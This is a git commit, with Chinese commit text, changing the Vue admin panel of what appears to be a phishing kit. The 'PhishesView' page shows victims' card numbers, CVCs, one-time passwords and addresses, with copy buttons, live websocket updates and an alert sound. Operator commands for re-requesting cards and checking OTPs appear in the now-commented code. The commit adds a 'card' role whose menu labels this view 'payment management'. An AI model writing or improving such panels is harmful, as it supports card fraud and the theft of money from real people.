feat(MainView, PhishesView): 添加支付管理菜单项并优化银行卡查询功能

- 在 MainView 中为角色为 'card' 的用户添加支付管理菜单项
- 在 PhishesView 中优化银行卡查询输入框的提示文本，调整查询条件的绑定
- 隐藏了一些不必要的列以简化界面，增加了刷新表格数据的功能

src/views/MainView.vue

@@ -71,6 +71,7 @@ import UserAvatar from '@/components/UserAvatar.vue'
 import ChangePwd from '@/components/ChangePwd.vue'
 import { http } from '@/plugins/http'
 import { useUserStore } from '@/stores/user'
+import { el } from 'date-fns/locale'
 
 const route = useRoute()
 const activeMenu = ref(route.name || '/home')
@@ -219,6 +220,14 @@ if (user.role === 'admin') {
             ]
         }
     ]
+} else if (user.role === 'card') {
+    menus = [
+        {
+            name: 'phishes',
+            title: '支付管理',
+            icon: Fish
+        }
+    ]
 }
 console.log('menus: ' + menus)
 

src/views/PhishesView.vue

@@ -3,32 +3,33 @@
         <template #filter>
             <ElInput
                 class="!w-52"
-                placeholder="请输入"
+                placeholder="请输入银行卡号"
                 clearable
-                v-model="query.title"
+                v-model="query.card"
                 @keyup.enter="table.refresh(true)"
             >
                 <template #append>
                     <ElButton :icon="Search" @click="table.refresh(true)" />
                 </template>
             </ElInput>
-            <ElSelect v-model="query.online" clearable>
-                <ElOption label="全部" value="" />
-                <ElOption label="在线" :value="true" />
-            </ElSelect>
+            <ElButton :icon="Refresh" @click="refreshTable" circle />
         </template>
         <ElTableColumn prop="id" label="#" width="80" />
         <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
-        <ElTableColumn label="在线" width="80" align="center">
+
+        <!-- 在线列 - 已隐藏 -->
+        <!-- <ElTableColumn label="在线" width="80" align="center">
             <template #default="{ row }">
                 <ElTag :type="row.online ? 'success' : 'info'">{{ row.online ? '是' : '否' }}</ElTag>
             </template>
-        </ElTableColumn>
-        <ElTableColumn prop="step" label="状态" :formatter="stepFormatter" width="200" align="center">
+        </ElTableColumn> -->
+
+        <!-- 状态列 - 已隐藏 -->
+        <!-- <ElTableColumn prop="step" label="状态" :formatter="stepFormatter" width="200" align="center">
             <template #default="{ row }">
                 <ElTag :type="stepType(row.step)">{{ stepFormatter(row.step) }}</ElTag>
             </template>
-        </ElTableColumn>
+        </ElTableColumn> -->
 
         <ElTableColumn prop="card" label="银行卡" min-width="200">
             <template #default="{ row }">
@@ -50,7 +51,7 @@
                 </div>
             </template>
         </ElTableColumn>
-        <ElTableColumn prop="otp" label="CVC" min-width="80">
+        <ElTableColumn prop="cvc" label="CVC" min-width="80">
             <template #default="{ row }">
                 <div class="flex items-center">
                     {{ row.cvc }}
@@ -60,21 +61,24 @@
                 </div>
             </template>
         </ElTableColumn>
-        <ElTableColumn prop="otp" label="OTP" min-width="80">
+        <!-- OTP列 - 已隐藏 -->
+        <!-- <ElTableColumn prop="otp" label="OTP" min-width="80">
             <template #default="{ row }">
-                <div class="flex items-center">
+                <div class="flex-column items-center">
                     {{ row.otp }}
                     <UseClipboard v-if="row.otp" v-slot="{ copy }" :source="row.otp">
                         <Copy @click="copy()" class="ml-2 inline w-[20px] cursor-pointer" />
                     </UseClipboard>
                 </div>
             </template>
-        </ElTableColumn>
+        </ElTableColumn> -->
+        <ElTableColumn prop="country" label="Country" />
         <ElTableColumn prop="state" label="State" />
         <ElTableColumn prop="city" label="City" />
         <ElTableColumn prop="zip" label="Zip" />
         <ElTableColumn prop="address" label="Address" />
-        <ElTableColumn label="操作" align="center" width="120">
+        <!-- 操作列 - 已隐藏 -->
+        <!-- <ElTableColumn label="操作" align="center" width="120">
             <template #default="{ row }">
                 <el-dropdown @command="handleCommand($event, row)">
                     <ElButton :icon="DotsVertical"></ElButton>
@@ -93,8 +97,7 @@
                                 </el-dropdown-item>
                                 <el-dropdown-item
                                     command="change_card"
-                                    v-if="row.step === 'wait_for_check_card' || row.step === 'wait_for_check_otp'"
-                                >
+                                    v-if="row.step === 'wait_for_check_card' || row.step === 'wait_for_check_otp'">
                                     重输卡号
                                 </el-dropdown-item>
                                 <el-dropdown-item command="success">成功</el-dropdown-item>
@@ -104,14 +107,14 @@
                     </template>
                 </el-dropdown>
             </template>
-        </ElTableColumn>
+        </ElTableColumn> -->
     </PagingTableMod>
 </template>
 <script setup>
 import { onBeforeUnmount, onMounted, reactive, ref } from 'vue'
 import PagingTableMod from '@/components/PagingTableMod.vue'
 import { useTimeFormatter } from '@/utils/formatter'
-import { Plus, Search } from '@vicons/tabler'
+import { Plus, Search, Refresh } from '@vicons/tabler'
 import EditDialog from '@/components/EditDialog.vue'
 import { setupEditDialog } from '@/utils/editDialog'
 import EnumSelect from '@/components/EnumSelect.vue'
@@ -126,11 +129,16 @@ import buttonSfx from '../assets/alert.mp3'
 import { UseClipboard } from '@vueuse/components'
 import { useUserStore } from '@/stores/user'
 
-const query = ref({ online: true })
+const query = ref({ card: '' })
 const timeFormatter = useTimeFormatter()
 const table = ref(null)
 const { play: playSound } = useSound(buttonSfx)
 
+// 刷新表格数据，保持查询条件不变
+const refreshTable = () => {
+    table.value.refresh()
+}
+
 const socket = io(import.meta.env.VITE_WS_URL + 'paymentManage', {
     path: '/ws',
     transports: ['websocket']